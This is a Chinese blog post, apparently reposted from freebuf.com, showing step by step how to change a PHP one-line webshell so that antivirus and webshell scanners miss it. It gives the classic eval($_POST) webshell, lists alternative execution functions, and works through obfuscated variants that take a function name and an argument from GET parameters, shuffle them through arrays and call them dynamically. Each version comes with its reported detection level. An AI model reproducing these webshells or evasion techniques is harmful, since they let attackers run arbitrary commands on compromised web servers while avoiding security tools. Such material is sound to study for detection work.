一句话木马的绕过的变型测试 – 作者:Harmeet

在渗透测试过程中,我们上传的webshell,难免遭到杀软都webshell的拦截,我们通常要将一句话木马变形绕过,下面给大家带来一次自己变形的一句话


一句话木马的执行,两个条件为执行代码的函数部分,一个是接收数据的部分
经典一句话木马:
<?php eval(@$_POST['a']); ?>

eval就是执行命令的函数,除此之外还有其他替换函数
例如
Assert
create_function
call_user_func
preg_replace

image.png

经典的一句话毫无疑问 5级警告,经过很多写法,都是被认为是至少是2级
所以我采用函数外带,以参数的形式传递进来,那么需要包括两部分,一个是assert函数,一个是phpinfo

是采用两个变量接受

$a=$_GET[‘a’]; //接受assert
$b=$_GET[‘b’]; //接受phpinfo()
$a($b);

image.png

结果是毫无疑问能执行出来
但是
image.png
那就继续吧,思路就是不讲接收到的值直接进行$a($b);这样的组合,于是我使用了php的数组

$kill=array(“{$a}”,”{$b}”);
var_dump($kill);
image.png

image.png

成功被查杀。。。。
于是定义了一个新的数组,第一个数组循环将值给$killer

$killer = array();
for($i;$i<count($kill);$i++){
$killer[] = $kill[$i];
}
ab($killer[0],$killer[1]);

image.png

级别为1级了,再试试
`<?php
$a=$_GET[‘a’];

$b=$_GET[‘b’];

$kill=array(“{$a}”,”{$b}”);

$killer = array();

$i=0;

for($i;$i<count($kill);$i++){
$killer[] = $kill[$i];

}
$c = $killer[0];
$d = $killer[1];
$c($d);
?>`

image.png

也是一级
于是我想到将得到的$killer[0],$killer[1]的值传递给一个函数,而真正执行则在函数内执行

image.png

image.png

那我不执行先,继续传递到内层函数,又查到了,但这次提示不太一样
image.png
那就再来一级
完整代码
image.png

成功绕过
image.png

来源:freebuf.com 2021-04-18 15:53:33 by: Harmeet

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论